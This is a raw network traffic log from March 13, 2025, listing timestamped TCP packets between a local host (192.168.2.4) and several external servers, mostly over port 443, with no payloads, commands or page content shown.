Mar 13, 2025 18:12:27.078946114 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.078973055 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.079046011 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.079788923 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.079802990 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.102473021 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.102510929 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.102545023 CET	49748	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.102549076 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.102582932 CET	49748	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.110152006 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.110243082 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.110260010 CET	49748	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.110301018 CET	49748	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.110543013 CET	49748	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.110553980 CET	443	49748	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.582767963 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.583179951 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.583211899 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.583699942 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.584100008 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.584182024 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:27.584285975 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:27.628328085 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.184597969 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.196633101 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.196671009 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.196727037 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.196753025 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.196789980 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.196840048 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.198195934 CET	49754	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.198210001 CET	443	49754	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.403871059 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.404278040 CET	49755	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.404321909 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.404678106 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.404994011 CET	49755	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.405056953 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.405162096 CET	49755	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.442158937 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.442624092 CET	49756	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.442709923 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.443037033 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.443448067 CET	49756	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.443523884 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.443614006 CET	49756	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.452336073 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.484329939 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.505908966 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.506237984 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.506253004 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.507282019 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.507349968 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.507719994 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.507781982 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.507875919 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.507885933 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.555179119 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.563693047 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.564062119 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.564084053 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.564977884 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.565047979 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.565428019 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.565476894 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.565587044 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.565593004 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.619990110 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.914431095 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.925704956 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.925779104 CET	49755	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.926208019 CET	49755	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.926227093 CET	443	49755	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.964837074 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.964936972 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:28.965022087 CET	49756	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.965718985 CET	49756	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:28.965749025 CET	443	49756	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.090121984 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.091883898 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.091989040 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.092268944 CET	49758	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.092288017 CET	443	49758	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.187287092 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.211536884 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.211568117 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.211639881 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.211662054 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.211710930 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.218142033 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.218152046 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.218245983 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.238091946 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.238101006 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.238233089 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297287941 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297328949 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.297415972 CET	49761	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297455072 CET	443	49761	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.297481060 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297502041 CET	49761	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297791958 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.297806978 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.298015118 CET	49761	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.298034906 CET	443	49761	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.308410883 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.308420897 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.308528900 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.325685024 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.325691938 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.325784922 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.325798035 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.325850964 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.345654011 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.345766068 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.365997076 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.366055012 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.366147041 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.366158009 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.366187096 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.395111084 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.395153999 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.395224094 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.395236969 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.395250082 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.395279884 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.417396069 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.417457104 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.417515993 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.417526007 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.417576075 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.441543102 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.441586971 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.441622019 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.441629887 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.441656113 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.464046955 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.464062929 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.464179039 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.464195967 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.464242935 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.468533039 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.468625069 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.487014055 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.487054110 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.487102032 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.487123013 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.487158060 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.487395048 CET	49757	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.487407923 CET	443	49757	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.497766972 CET	49762	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.497792006 CET	443	49762	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.497873068 CET	49762	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.498184919 CET	49762	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.498199940 CET	443	49762	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.501588106 CET	49763	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.501631021 CET	443	49763	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:29.501701117 CET	49763	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.501960039 CET	49763	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:29.501976967 CET	443	49763	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.628449917 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.628899097 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.628927946 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.629978895 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.630059004 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.630430937 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.630490065 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.630595922 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.630603075 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.637811899 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.637883902 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:30.637897968 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.637943983 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.637953043 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:30.637958050 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.637989044 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.638000011 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.638015985 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.638044119 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.638057947 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.638067007 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.638113976 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.638123035 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.638133049 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.638155937 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.638169050 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.638199091 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.638220072 CET	49760	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.638231039 CET	443	49760	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.638258934 CET	443	49763	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.638268948 CET	443	49728	131.253.33.254	192.168.2.4
Mar 13, 2025 18:12:30.638281107 CET	443	49761	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.638308048 CET	49763	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.638329029 CET	49728	443	192.168.2.4	131.253.33.254
Mar 13, 2025 18:12:30.638329029 CET	49761	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.638565063 CET	443	49762	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.639203072 CET	49761	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.639218092 CET	443	49761	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.639728069 CET	49764	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.639738083 CET	443	49764	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.639791965 CET	49764	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.639882088 CET	49763	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.639889002 CET	443	49763	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.640075922 CET	49765	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.640084982 CET	443	49765	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.640129089 CET	49765	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.640364885 CET	49766	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.640382051 CET	443	49766	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.640393972 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:30.640403032 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:30.640425920 CET	49766	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.640577078 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.640580893 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.640674114 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.640677929 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.640731096 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.640737057 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.640837908 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.640842915 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:30.640918016 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.640925884 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.641386032 CET	49764	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.641393900 CET	443	49764	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.641680956 CET	49765	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.641690016 CET	443	49765	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.641948938 CET	49766	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:30.641962051 CET	443	49766	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.841306925 CET	443	49764	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.842133045 CET	443	49766	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.842492104 CET	443	49765	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:30.871324062 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:30.871370077 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:30.871397018 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:30.871431112 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:47.589448929 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:47.589471102 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:47.589543104 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:47.589895964 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:47.589906931 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:47.622140884 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:47.622195005 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:47.622272015 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:47.622586966 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:47.622601986 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.231264114 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.231733084 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.231760025 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.232801914 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.232865095 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.234025002 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.234087944 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.234349966 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.234357119 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.275320053 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.710776091 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.711019993 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.711122990 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.711143970 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.711206913 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.711272001 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.712699890 CET	49772	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.712712049 CET	443	49772	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.728698015 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.728740931 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:49.728811979 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.729146004 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:49.729160070 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:50.938107967 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:50.938283920 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.028451920 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.030441046 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.030468941 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.030622005 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.030626059 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.030783892 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.030787945 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.245671988 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.246213913 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.246247053 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.247690916 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.247756004 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.248267889 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.248359919 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.248548031 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.248555899 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.291255951 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.507117987 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.507529974 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.507560968 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.639247894 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:51.681941986 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:51.700206995 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.700280905 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.700340986 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.700366020 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.700382948 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.700429916 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.705712080 CET	49775	443	192.168.2.4	192.0.73.2
Mar 13, 2025 18:12:51.705734015 CET	443	49775	192.0.73.2	192.168.2.4
Mar 13, 2025 18:12:51.993922949 CET	443	49771	13.32.27.14	192.168.2.4
Mar 13, 2025 18:12:52.042145967 CET	49771	443	192.168.2.4	13.32.27.14
Mar 13, 2025 18:12:52.901753902 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:52.901771069 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:52.901900053 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:52.902276039 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:52.902286053 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:54.524918079 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:54.530370951 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:54.530386925 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:54.530746937 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:54.540900946 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:54.540971994 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:54.587867022 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:56.603686094 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:12:56.608589888 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:12:56.608665943 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:12:59.269648075 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:59.269685984 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:59.269750118 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:59.270045996 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:59.270065069 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.810786963 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.811137915 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:00.811166048 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.812196016 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.812254906 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:00.812658072 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:00.812722921 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.812805891 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:00.812813997 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:00.853574991 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:01.280751944 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:01.283938885 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:01.283994913 CET	443	49780	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:01.284056902 CET	49780	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:01.295790911 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:01.295839071 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:01.295906067 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:01.307485104 CET	49781	443	192.168.2.4	35.190.80.1
